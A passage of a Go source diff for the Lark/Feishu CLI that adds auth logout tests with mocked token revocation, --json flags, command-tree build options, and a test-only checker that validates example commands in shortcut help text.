+	if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
+		t.Fatalf("expected users cleared, got %#v", saved.Apps)
+	}
+}
+
+func TestAuthLogoutRun_FallsBackToAccessTokenWhenRefreshTokenMissing(t *testing.T) {
+	keyring.MockInit()
+	setupLoginConfigDir(t)
+	t.Setenv("HOME", t.TempDir())
+
+	multi := &core.MultiAppConfig{
+		CurrentApp: "default",
+		Apps: []core.AppConfig{
+			{
+				Name:      "default",
+				AppId:     "cli_test",
+				AppSecret: core.PlainSecret("secret"),
+				Brand:     core.BrandFeishu,
+				Users:     []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
+			},
+		},
+	}
+	if err := core.SaveMultiAppConfig(multi); err != nil {
+		t.Fatalf("SaveMultiAppConfig() error = %v", err)
+	}
+	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
+		AppId:       "cli_test",
+		UserOpenId:  "ou_user",
+		AccessToken: "user-access-token",
+	}); err != nil {
+		t.Fatalf("SetStoredToken() error = %v", err)
+	}
+
+	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		ProfileName: "default",
+		AppID:       "cli_test",
+		AppSecret:   "secret",
+		Brand:       core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    larkauth.PathOAuthRevoke,
+		Body:   map[string]interface{}{"code": 0},
+		BodyFilter: func(body []byte) bool {
+			values, err := url.ParseQuery(string(body))
+			if err != nil {
+				return false
+			}
+			return values.Get("client_id") == "cli_test" &&
+				values.Get("client_secret") == "secret" &&
+				values.Get("token") == "user-access-token" &&
+				values.Get("token_type_hint") == "access_token"
+		},
+	})
+
+	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	if got := stderr.String(); !strings.Contains(got, "Logged out") {
+		t.Fatalf("stderr = %q, want Logged out", got)
+	}
+	if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
+		t.Fatalf("expected stored token removed, got %#v", got)
+	}
+	saved, err := core.LoadMultiAppConfig()
+	if err != nil {
+		t.Fatalf("LoadMultiAppConfig() error = %v", err)
+	}
+	if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
+		t.Fatalf("expected users cleared, got %#v", saved.Apps)
+	}
+}
+
+func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
+	keyring.MockInit()
+	setupLoginConfigDir(t)
+	t.Setenv("HOME", t.TempDir())
+
+	multi := &core.MultiAppConfig{
+		CurrentApp: "default",
+		Apps: []core.AppConfig{
+			{
+				Name:      "default",
+				AppId:     "cli_test",
+				AppSecret: core.PlainSecret("secret"),
+				Brand:     core.BrandFeishu,
+				Users:     []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
+			},
+		},
+	}
+	if err := core.SaveMultiAppConfig(multi); err != nil {
+		t.Fatalf("SaveMultiAppConfig() error = %v", err)
+	}
+	if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
+		AppId:        "cli_test",
+		UserOpenId:   "ou_user",
+		AccessToken:  "user-access-token",
+		RefreshToken: "user-refresh-token",
+	}); err != nil {
+		t.Fatalf("SetStoredToken() error = %v", err)
+	}
+
+	f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
+		ProfileName: "default",
+		AppID:       "cli_test",
+		AppSecret:   "secret",
+		Brand:       core.BrandFeishu,
+	})
+
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    larkauth.PathOAuthRevoke,
+		Status: 500,
+		Body:   map[string]interface{}{"error": "server_error"},
+	})
+
+	if err := authLogoutRun(&LogoutOptions{Factory: f}); err != nil {
+		t.Fatalf("authLogoutRun() error = %v", err)
+	}
+
+	gotErr := stderr.String()
+	if strings.Contains(gotErr, "failed to revoke token for ou_user") {
+		t.Fatalf("stderr = %q, want no revoke warning", gotErr)
+	}
+	if !strings.Contains(gotErr, "Logged out") {
+		t.Fatalf("stderr = %q, want Logged out", gotErr)
+	}
+	if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
+		t.Fatalf("expected stored token removed, got %#v", got)
+	}
+	saved, err := core.LoadMultiAppConfig()
+	if err != nil {
+		t.Fatalf("LoadMultiAppConfig() error = %v", err)
+	}
+	if len(saved.Apps) != 1 || len(saved.Apps[0].Users) != 0 {
+		t.Fatalf("expected users cleared, got %#v", saved.Apps)
+	}
+}

cmd/auth/scopes.go

@@ -19,6 +19,7 @@ type ScopesOptions struct {
 	Factory *cmdutil.Factory
 	Ctx     context.Context
 	Format  string
+	JSON    bool
 }
 
 // NewCmdAuthScopes creates the auth scopes subcommand.
@@ -30,6 +31,9 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
 		Short: "Query scopes enabled for the app",
 		RunE: func(cmd *cobra.Command, args []string) error {
 			opts.Ctx = cmd.Context()
+			if opts.JSON {
+				opts.Format = "json"
+			}
 			if runF != nil {
 				return runF(opts)
 			}
@@ -38,6 +42,7 @@ func NewCmdAuthScopes(f *cmdutil.Factory, runF func(*ScopesOptions) error) *cobr
 	}
 
 	cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json (default) | pretty")
+	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "read")
 
 	return cmd

cmd/auth/status.go

@@ -17,6 +17,7 @@ import (
 type StatusOptions struct {
 	Factory *cmdutil.Factory
 	Verify  bool
+	JSON    bool
 }
 
 // NewCmdAuthStatus creates the auth status subcommand.
@@ -35,6 +36,7 @@ func NewCmdAuthStatus(f *cmdutil.Factory, runF func(*StatusOptions) error) *cobr
 	}
 
 	cmd.Flags().BoolVar(&opts.Verify, "verify", false, "verify token against server (requires network)")
+	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "read")
 
 	return cmd

cmd/auth/testmain_test.go

@@ -0,0 +1,46 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package auth
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/larksuite/cli/internal/registry/registrytest"
+)
+
+// TestMain isolates auth command tests from the host machine: config, logs
+// and the registry cache are redirected to a temp dir, then the registry is
+// seeded from the tracked fixture and initialized eagerly. Domain-completion
+// tests read the registry, so without seeding a clean checkout would either
+// fail or trigger a remote metadata fetch.
+//
+// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
+// m.Run before exiting.
+func TestMain(m *testing.M) {
+	root, err := os.MkdirTemp("", "lark-cli-cmd-auth-test-*")
+	if err != nil {
+		println("cmd/auth test setup: MkdirTemp failed:", err.Error())
+		os.Exit(2)
+	}
+	if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
+		println("cmd/auth test setup: Setenv failed:", err.Error())
+		os.RemoveAll(root)
+		os.Exit(2)
+	}
+	if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
+		println("cmd/auth test setup: Setenv failed:", err.Error())
+		os.RemoveAll(root)
+		os.Exit(2)
+	}
+	if err := registrytest.Seed(root); err != nil {
+		println("cmd/auth test setup: registrytest.Seed failed:", err.Error())
+		os.RemoveAll(root)
+		os.Exit(2)
+	}
+	code := m.Run()
+	_ = os.RemoveAll(root)
+	os.Exit(code)
+}

cmd/build.go

@@ -6,7 +6,10 @@ package cmd
 import (
 	"context"
 	"io"
+	"io/fs"
 
+	_ "github.com/larksuite/cli/agents"
+	"github.com/larksuite/cli/cmd/agents"
 	"github.com/larksuite/cli/cmd/api"
 	"github.com/larksuite/cli/cmd/auth"
 	"github.com/larksuite/cli/cmd/completion"
@@ -16,13 +19,18 @@ import (
 	"github.com/larksuite/cli/cmd/profile"
 	"github.com/larksuite/cli/cmd/schema"
 	"github.com/larksuite/cli/cmd/service"
+	"github.com/larksuite/cli/cmd/skill"
 	cmdupdate "github.com/larksuite/cli/cmd/update"
+	"github.com/larksuite/cli/cmd/whoami"
 	_ "github.com/larksuite/cli/events"
+	"github.com/larksuite/cli/internal/apicatalog"
 	"github.com/larksuite/cli/internal/build"
 	"github.com/larksuite/cli/internal/cmdpolicy"
 	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/hook"
 	"github.com/larksuite/cli/internal/keychain"
+	"github.com/larksuite/cli/internal/registry"
 	"github.com/larksuite/cli/shortcuts"
 	"github.com/spf13/cobra"
 )
@@ -31,9 +39,25 @@ import (
 type BuildOption func(*buildConfig)
 
 type buildConfig struct {
-	streams  *cmdutil.IOStreams
-	keychain keychain.KeychainAccess
-	globals  GlobalOptions
+	streams        *cmdutil.IOStreams
+	keychain       keychain.KeychainAccess
+	globals        GlobalOptions
+	skipPlugins    bool
+	skipStrictMode bool
+	skipService    bool
+	serviceCatalog *apicatalog.Catalog
+	startupBrand   core.LarkBrand
+}
+
+// WithStartupBrand initializes the API registry with the given brand before
+// any command registration touches the runtime catalog. Without it the
+// registry's sync.Once locks onto the Feishu default at first catalog access,
+// long before the lazily-resolved config brand is known — see
+// ResolveStartupBrand for the caller-side resolution.
+func WithStartupBrand(brand core.LarkBrand) BuildOption {
+	return func(c *buildConfig) {
+		c.startupBrand = brand
+	}
 }
 
 // WithIO sets the IO streams for the CLI by wrapping raw reader/writers.
@@ -51,6 +75,18 @@ func WithKeychain(kc keychain.KeychainAccess) BuildOption {
 	}
 }
 
+// embeddedSkillContent is the skill tree wired into cmdutil.Factory.SkillContent
+// at build time. It is registered by the repo-root package main's init via
+// SetEmbeddedSkillContent — it cannot be threaded through main.go without
+// breaking the single-file preview build (see skills_embed.go). nil in builds
+// that embed no skills; the `skills` commands then return a typed internal error.
+var embeddedSkillContent fs.FS
+
+// SetEmbeddedSkillContent registers the embedded skill tree. Called from the
+// repo-root package main's init; a wrapper main can call it before Execute to
+// supply its own skill content.
+func SetEmbeddedSkillContent(fsys fs.FS) { embeddedSkillContent = fsys }
+
 // HideProfile sets the visibility policy for the root-level --profile flag.
 // When hide is true the flag stays registered (so existing invocations still
 // parse) but is omitted from help and shell completion. Typically called as
@@ -61,6 +97,41 @@ func HideProfile(hide bool) BuildOption {
 	}
 }
 
+// WithoutPlugins builds only repository-owned commands. It is intended for
+// inspection tools that need a deterministic command tree.
+func WithoutPlugins() BuildOption {
+	return func(c *buildConfig) {
+		c.skipPlugins = true
+	}
+}
+
+// WithoutStrictMode builds the complete repository-owned command tree without
+// applying user/profile strict-mode pruning. It is intended for offline
+// inspection tools, not production execution.
+func WithoutStrictMode() BuildOption {
+	return func(c *buildConfig) {
+		c.skipStrictMode = true
+	}
+}
+
+// WithoutServiceCommands builds only hand-authored commands. It is intended for
+// repository quality gates that should not depend on the remote OpenAPI
+// metadata command surface.
+func WithoutServiceCommands() BuildOption {
+	return func(c *buildConfig) {
+		c.skipService = true
+	}
+}
+
+// WithServiceCatalog builds generated service commands from a specific metadata
+// catalog. It is intended for offline inspection tools that need deterministic
+// embedded metadata while production execution keeps using the runtime catalog.
+func WithServiceCatalog(catalog apicatalog.Catalog) BuildOption {
+	return func(c *buildConfig) {
+		c.serviceCatalog = &catalog
+	}
+}
+
 // Build constructs the full command tree. It also installs registered
 // plugins and emits the Startup lifecycle event during assembly --
 // so Plugin.On(Startup) handlers run even if the returned command is
@@ -99,10 +170,17 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 		cfg.streams = cmdutil.SystemIO()
 	}
 
+	// Initialize the registry brand before anything touches the runtime
+	// catalog (its sync.Once would otherwise lock onto the Feishu default).
+	if cfg.startupBrand != "" {
+		registry.InitWithBrand(cfg.startupBrand)
+	}
+
 	f := cmdutil.NewDefault(cfg.streams, inv)
 	if cfg.keychain != nil {
 		f.Keychain = cfg.keychain
 	}
+	f.SkillContent = embeddedSkillContent
 	rootCmd := &cobra.Command{
 		Use:     "lark-cli",
 		Short:   "Lark/Feishu CLI — OAuth authorization, UAT management, API calls",
@@ -115,8 +193,19 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.SetOut(cfg.streams.Out)
 	rootCmd.SetErr(cfg.streams.ErrOut)
 
+	// Root-only usage template (curated Usage synopsis + skills footer); see
+	// rootUsageTemplate.
+	rootCmd.SetUsageTemplate(rootUsageTemplate)
+
 	installTipsHelpFunc(rootCmd)
 	rootCmd.SilenceErrors = true
+	// SilenceUsage as a static field (not only in PersistentPreRun) so it also
+	// covers flag-parse errors, which fail before PreRun runs — otherwise cobra
+	// dumps usage instead of our structured error. SetFlagErrorFunc on root is
+	// inherited by every subcommand, turning unknown-flag errors into a
+	// structured "did you mean" envelope.
+	rootCmd.SilenceUsage = true
+	rootCmd.SetFlagErrorFunc(flagDidYouMean)
 
 	RegisterGlobalFlags(rootCmd.PersistentFlags(), &cfg.globals)
 	rootCmd.PersistentPreRun = func(cmd *cobra.Command, args []string) {
@@ -128,20 +217,39 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
 	rootCmd.AddCommand(auth.NewCmdAuth(f))
 	rootCmd.AddCommand(profile.NewCmdProfile(f))
 	rootCmd.AddCommand(doctor.NewCmdDoctor(f))
+	rootCmd.AddCommand(whoami.NewCmdWhoami(f))
 	rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
 	rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
 	rootCmd.AddCommand(completion.NewCmdCompletion(f))
 	rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
 	rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
-	service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
+	rootCmd.AddCommand(skill.NewCmdSkill(f))
+	rootCmd.AddCommand(agents.NewCmdAgents(f))
+	if !cfg.skipService {
+		if cfg.serviceCatalog != nil {
+			service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
+		} else {
+			service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
+		}
+	}
 	shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)
 
-	installUnknownSubcommandGuard(rootCmd)
+	groupRootCommands(rootCmd)
 
-	if mode := f.ResolveStrictMode(ctx); mode.IsActive() {
+	installUnknownSubcommandGuard(rootCmd)
+	// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
+	// before printing help; non-bare invocations and non-TTY are unaffected.
+	installRootUpgradePrompt(f, rootCmd)
+
+	if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
 		pruneForStrictMode(rootCmd, mode)
 	}
 
+	if cfg.skipPlugins {
+		recordInventory(nil)
+		return f, rootCmd, nil
+	}
+
 	installResult, installErr := installPluginsAndHooks(cfg.streams.ErrOut)
 	if installErr != nil {
 		installPluginInstallErrorGuard(rootCmd, installErr)

cmd/build_test.go

@@ -0,0 +1,46 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package cmd
+
+import (
+	"context"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/spf13/cobra"
+)
+
+func TestBuildWithoutPluginsStillBuildsBuiltinCommands(t *testing.T) {
+	root := Build(context.Background(), cmdutil.InvocationContext{}, WithoutPlugins())
+
+	if root == nil {
+		t.Fatal("Build returned nil root")
+	}
+	if findCommand(root, "api") == nil {
+		t.Fatal("builtin api command missing")
+	}
+	if findCommand(root, "docs +fetch") == nil {
+		t.Fatal("builtin docs +fetch shortcut missing")
+	}
+}
+
+func findCommand(root *cobra.Command, path string) *cobra.Command {
+	parts := strings.Fields(path)
+	cmd := root
+	for _, part := range parts {
+		var next *cobra.Command
+		for _, child := range cmd.Commands() {
+			if child.Name() == part {
+				next = child
+				break
+			}
+		}
+		if next == nil {
+			return nil
+		}
+		cmd = next
+	}
+	return cmd
+}

cmd/cmdexample_catalog_test.go

@@ -0,0 +1,160 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package cmd_test
+
+import (
+	"sort"
+	"strings"
+)
+
+// universalFlags are accepted by every command (cobra auto-injects help; the
+// root injects version). They are never reported as unknown.
+var universalFlags = map[string]bool{"--help": true, "-h": true, "--version": true}
+
+// catalog is the source-of-truth command catalog: command path -> accepted flag
+// tokens. A path is the command words WITHOUT the "lark-cli" root prefix, e.g.
+// "contact +search-user". The root command is the empty path "".
+type catalog struct {
+	flagsByPath map[string]map[string]bool
+	group       map[string]bool // paths that are parent groups (have subcommands)
+	sorted      []string        // cached sorted paths for suggestCommand; invalidated on addCommand
+}
+
+func newCatalog() *catalog {
+	return &catalog{
+		flagsByPath: map[string]map[string]bool{},
+		group:       map[string]bool{},
+	}
+}
+
+// setGroup records whether path is a parent group (has subcommands). Leftover
+// words after a group node are unknown subcommands; after a leaf they are
+// positionals (e.g. "api GET /path").
+func (c *catalog) setGroup(path string, isGroup bool) {
+	if isGroup {
+		c.group[path] = true
+	}
+}
+
+func (c *catalog) isGroup(path string) bool { return c.group[path] }
+
+// addCommand registers a command path and the flags it accepts. Repeated calls
+// for the same path union the flag sets. flags are full tokens ("--query", "-q").
+func (c *catalog) addCommand(path string, flags []string) {
+	set := c.flagsByPath[path]
+	if set == nil {
+		set = map[string]bool{}
+		c.flagsByPath[path] = set
+	}
+	for _, f := range flags {
+		set[f] = true
+	}
+	c.sorted = nil // invalidate cached suggestion list
+}
+
+func (c *catalog) hasCommand(path string) bool {
+	_, ok := c.flagsByPath[path]
+	return ok
+}
+
+// hasFlag reports whether flag is accepted by command path (universal flags
+// always pass).
+func (c *catalog) hasFlag(path, flag string) bool {
+	if universalFlags[flag] {
+		return true
+	}
+	set := c.flagsByPath[path]
+	return set[flag]
+}
+
+// longestPrefix returns the longest known command path that is a prefix of
+// words, plus how many words it consumed. This separates real subcommands from
+// trailing positionals (e.g. "api GET /path" resolves to "api"). When words is
+// empty it falls back to the root command. ok=false means not even the first
+// word names a command.
+func (c *catalog) longestPrefix(words []string) (path string, n int, ok bool) {
+	if len(words) == 0 {
+		if c.hasCommand("") {
+			return "", 0, true
+		}
+		return "", 0, false
+	}
+	for i := len(words); i >= 1; i-- {
+		cand := strings.Join(words[:i], " ")
+		if c.hasCommand(cand) {
+			return cand, i, true
+		}
+	}
+	return "", 0, false
+}
+
+// paths returns all known command paths, sorted.
+func (c *catalog) paths() []string {
+	out := make([]string, 0, len(c.flagsByPath))
+	for p := range c.flagsByPath {
+		out = append(out, p)
+	}
+	sort.Strings(out)
+	return out
+}
+
+// suggestCommand returns the known command path closest to want (small edit
+// distance), for error hints. Returns "" when nothing is reasonably close.
+func (c *catalog) suggestCommand(want string) string {
+	if c.sorted == nil {
+		c.sorted = c.paths() // built once after the catalog is fully populated
+	}
+	return closest(want, c.sorted)
+}
+
+// suggestFlag returns the flag of path closest to flag, for error hints.
+func (c *catalog) suggestFlag(path, flag string) string {
+	set := c.flagsByPath[path]
+	cands := make([]string, 0, len(set))
+	for f := range set {
+		cands = append(cands, f)
+	}
+	sort.Strings(cands)
+	return closest(flag, cands)
+}
+
+// closest returns the candidate with the smallest Levenshtein distance to want,
+// but only if that distance is within a tolerance scaled to want's length
+// (avoids absurd suggestions).
+func closest(want string, cands []string) string {
+	best := ""
+	bestD := 1 << 30
+	for _, cand := range cands {
+		d := levenshtein(want, cand)
+		if d < bestD {
+			bestD, best = d, cand
+		}
+	}
+	tol := len(want)/2 + 1
+	if bestD > tol {
+		return ""
+	}
+	return best
+}
+
+func levenshtein(a, b string) int {
+	ra, rb := []rune(a), []rune(b)
+	prev := make([]int, len(rb)+1)
+	for j := range prev {
+		prev[j] = j
+	}
+	for i := 1; i <= len(ra); i++ {
+		cur := make([]int, len(rb)+1)
+		cur[0] = i
+		for j := 1; j <= len(rb); j++ {
+			cost := 1
+			if ra[i-1] == rb[j-1] {
+				cost = 0
+			}
+			cur[j] = min(prev[j]+1, cur[j-1]+1, prev[j-1]+cost)
+		}
+		prev = cur
+	}
+	return prev[len(rb)]
+}

cmd/cmdexample_check_test.go

@@ -0,0 +1,60 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package cmd_test
+
+import "strings"
+
+// Finding kinds.
+const (
+	unknownCommand = "unknown_command"
+	unknownFlag    = "unknown_flag"
+)
+
+// finding is a single mismatch between an example command reference and the
+// catalog.
+type finding struct {
+	line    int
+	raw     string
+	kind    string // unknownCommand | unknownFlag
+	path    string // resolved command path (unknownFlag) or attempted path (unknownCommand)
+	flag    string // offending flag (unknownFlag only)
+	suggest string // nearest known command/flag, "" if none close
+}
+
+// checkRefs validates refs against cat and returns all mismatches in order.
+func checkRefs(cat *catalog, refs []ref) []finding {
+	var out []finding
+	for _, r := range refs {
+		path, n, ok := cat.longestPrefix(r.words)
+		if !ok {
+			attempted := strings.Join(r.words, " ")
+			out = append(out, finding{
+				line: r.line, raw: r.raw, kind: unknownCommand,
+				path: attempted, suggest: cat.suggestCommand(attempted),
+			})
+			continue
+		}
+		// Leftover words after a group node are an unknown subcommand (e.g. a
+		// mistyped method like "batch_modify_message"). After a leaf they are
+		// positionals (e.g. "api GET /path"), so only groups trigger this.
+		if n < len(r.words) && cat.isGroup(path) {
+			attempted := strings.Join(r.words, " ")
+			out = append(out, finding{
+				line: r.line, raw: r.raw, kind: unknownCommand,
+				path: attempted, suggest: cat.suggestCommand(attempted),
+			})
+			continue
+		}
+		for _, f := range r.flags {
+			if cat.hasFlag(path, f) {
+				continue
+			}
+			out = append(out, finding{
+				line: r.line, raw: r.raw, kind: unknownFlag,
+				path: path, flag: f, suggest: cat.suggestFlag(path, f),
+			})
+		}
+	}
+	return out
+}

cmd/cmdexample_parse_test.go

@@ -0,0 +1,222 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package cmd_test
+
+import (
+	"regexp"
+	"strings"
+)
+
+// ref is one lark-cli command reference extracted from a shortcut example.
+type ref struct {
+	line  int      // 1-based line number (the line where the command starts)
+	raw   string   // reconstructed command text, for error display
+	words []string // command words before the first flag (subcommand candidates)
+	flags []string // flag tokens used, e.g. "--query", "-q"
+}
+
+const cliToken = "lark-cli"
+
+// subcommandStart guards against false positives from prose: a real command's
+// first word is ASCII (a service name or a +shortcut). A token starting with
+// CJK / punctuation is treated as narration, not a command.
+var subcommandStart = regexp.MustCompile(`^[A-Za-z+]`)
+
+// shellStops are standalone tokens that terminate a command (pipes, redirects,
+// separators). Separators glued to a token (`get;`, `foo|`) are handled inline.
+var shellStops = map[string]bool{
+	"|": true, "||": true, "&&": true, "&": true, ";": true,
+	">": true, ">>": true, "<": true, "2>": true, "2>&1": true,
+}
+
+// wordTrailPunct is sentence / CJK punctuation that can cling to a command word
+// in prose ("auth login." / "auth login，"); stripped so the word still resolves
+// instead of being dropped as an unknown command or non-ASCII narration.
+const wordTrailPunct = `.,;:!?"')]}，。、；：！？）】」』`
+
+// parseRefs extracts every lark-cli command reference from text (a shortcut's
+// Tips line, which may embed an "Example: lark-cli ..." command). It is
+// deliberately format-agnostic: it keys on the "lark-cli" token whether it sits
+// in a ```bash fence, an inline `code` span, or bare prose. Backslash
+// line-continuations are joined first so a multi-line invocation is parsed as
+// one command; inline-code backticks and trailing # comments terminate it.
+func parseRefs(content string) []ref {
+	var refs []ref
+	lines := strings.Split(content, "\n")
+	for i := 0; i < len(lines); i++ {
+		lineNo := i + 1
+		logical := lines[i]
+		// Shell line continuation: a trailing backslash joins the next physical
+		// line. Without this, flags on the continuation lines of a multi-line
+		// `lark-cli ... \` example are never seen by the checker.
+		for endsWithBackslash(logical) && i+1 < len(lines) {
+			logical = strings.TrimRight(logical, " \t")
+			logical = logical[:len(logical)-1] // drop the trailing backslash
+			i++
+			logical += " " + lines[i]
+		}
+		refs = append(refs, parseLine(logical, lineNo)...)
+	}
+	return refs
+}
+
+func endsWithBackslash(s string) bool {
+	return strings.HasSuffix(strings.TrimRight(s, " \t"), `\`)
+}
+
+func parseLine(line string, lineNo int) []ref {
+	var refs []ref
+	rest := line
+	for {
+		idx := strings.Index(rest, cliToken)
+		if idx < 0 {
+			break
+		}
+		after := rest[idx+len(cliToken):]
+		beforeOK := idx == 0 || isBoundary(rest[idx-1])
+		afterOK := after == "" || isBoundary(after[0])
+		if beforeOK && afterOK {
+			if words, flags, raw, ok := parseCmd(after); ok {
+				refs = append(refs, ref{line: lineNo, raw: cliToken + raw, words: words, flags: flags})
+			}
+		}
+		rest = after
+	}
+	return refs
+}
+
+// parseCmd tokenizes the text following "lark-cli" into leading command words
+// (the subcommand path, up to the first flag) and flag tokens. It stops at a
+// shell separator (standalone or glued), an inline-code backtick, a comment, or
+// a placeholder/prose word. ok=false filters out non-commands.
+func parseCmd(after string) (words, flags []string, raw string, ok bool) {
+	// An inline code span ends at the next backtick; a command never spans one.
+	if i := strings.IndexByte(after, '`'); i >= 0 {
+		after = after[:i]
+	}
+	// Drop $(...) command substitutions so flags belonging to the inner command
+	// (e.g. `--data "$(jq -n --arg x ...)"`) are not mistaken for lark-cli flags.
+	after = stripCmdSubst(after)
+
+	var kept []string
+	inFlags := false
+	for _, orig := range strings.Fields(after) {
+		tok := orig
+		if shellStops[tok] || strings.HasPrefix(tok, "#") {
+			break
+		}
+		// A shell separator glued to a token ends the command mid-token
+		// ("get;", "foo|next"): keep the part before it, handle it, then stop.
+		stop := false
+		if i := strings.IndexAny(tok, ";|"); i >= 0 {
+			tok, stop = tok[:i], true
+		}
+		switch {
+		case tok == "" || tok == "-":
+			// empty (after a glued separator) or a bare stdin marker — skip
+		case strings.HasPrefix(tok, "-"):
+			if f := normalizeFlag(tok); f != "" {
+				inFlags = true
+				flags = append(flags, f)
+				kept = append(kept, tok)
+			}
+		case inFlags:
+			// positional / flag value after the first flag — not a command word
+			kept = append(kept, tok)
+		default:
+			// Command-path word. ASCII placeholder markers (<x>, [x], {x|y},
+			// +<verb>, ...) end the command — checked on the RAW token so the
+			// trailing-punct stripping below cannot erase a "..." ellipsis
+			// ("base +..." must stay a placeholder, not become "+").
+			if strings.ContainsAny(tok, "<>[]{}|") || strings.Contains(tok, "...") {
+				stop = true
+				break
+			}
+			// Strip trailing sentence/CJK punctuation so "login." / "login，"
+			// resolve to "login"; non-ASCII narration ends the command.
+			w := strings.TrimRight(tok, wordTrailPunct)
+			if w == "" || hasNonASCII(w) {
+				stop = true
+				break
+			}
+			words = append(words, w)
+			kept = append(kept, tok)
+		}
+		if stop {
+			break
+		}
+	}
+	if len(kept) > 0 {
+		raw = " " + strings.Join(kept, " ")
+	}
+	// Keep root-only refs ("lark-cli --help") and refs whose first word looks
+	// like a subcommand; drop prose ("lark-cli 就能搞定 ...").
+	if len(words) == 0 {
+		return words, flags, raw, len(flags) > 0
+	}
+	if !subcommandStart.MatchString(words[0]) {
+		return nil, nil, "", false
+	}
+	return words, flags, raw, true
+}
+
+// stripCmdSubst removes $(...) command substitutions (including nested ones)
+// from s, leaving the surrounding text intact. Backtick substitutions are
+// already handled upstream (a command never spans a backtick).
+func stripCmdSubst(s string) string {
+	var b strings.Builder
+	depth := 0
+	for i := 0; i < len(s); i++ {
+		if depth == 0 && i+1 < len(s) && s[i] == '$' && s[i+1] == '(' {
+			depth = 1
+			i++ // skip '('
+			continue
+		}
+		if depth > 0 {
+			switch s[i] {
+			case '(':
+				depth++
+			case ')':
+				depth--
+			}
+			continue
+		}
+		b.WriteByte(s[i])
+	}
+	return b.String()
+}
+
+// isPlaceholderOrProse reports whether a command word is a doc placeholder
+// (<resource>, [flags], {a|b}, +<verb>, ...) or narration (CJK / other
+// non-ASCII), rather than a literal command token.
+func isPlaceholderOrProse(w string) bool {
+	if hasNonASCII(w) {
+		return true
+	}
+	return strings.ContainsAny(w, "<>[]{}|") || strings.Contains(w, "...")
+}
+
+func hasNonASCII(s string) bool {
+	return strings.IndexFunc(s, func(r rune) bool { return r > 127 }) >= 0
+}
+
+// flagShape matches the leading flag token, stripping any trailing junk such as
+// a "=value" suffix or punctuation that bled in from the surrounding markdown
+// ("--help\"", "--help;", "--params={}"). The underscore is allowed because
+// real flags use it ("--input_format", "--output_as"). Returns "" for non-flags.
+var flagShape = regexp.MustCompile(`^--?[A-Za-z][A-Za-z0-9_-]*`)
+
+// normalizeFlag extracts the canonical flag token from tok, or "" if tok is not
+// a real flag (e.g. a shell-string fragment like "-草稿'").
+func normalizeFlag(tok string) string {
+	return flagShape.FindString(tok)
+}
+
+func isBoundary(b byte) bool {
+	switch b {
+	case ' ', '\t', '`', '(', ')', '\'', '"', '*':
+		return true
+	}
+	return false
+}

cmd/cmdexample_test.go

@@ -0,0 +1,113 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// This file and its cmdexample_*_test.go siblings implement a test-only check:
+// the example commands embedded in shortcut definitions (the "Example: lark-cli
+// ..." lines in each shortcut's Tips, shown in --help) must match the real
+// command tree. It lives entirely in _test.go files (package cmd_test) so it
+// ships in no binary and is not importable by product code; the truth source is
+// cmd.Build, the same tree the binary uses, so the check cannot drift.
+//
+// It runs in the standard unit-test CI job (go test ./cmd/...). A mismatch — an
+// example using a renamed command or an unaccepted flag — fails that job.
+
+package cmd_test
+
+import (
+	"context"
+	"sort"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/cmd"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/shortcuts"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
+)
+
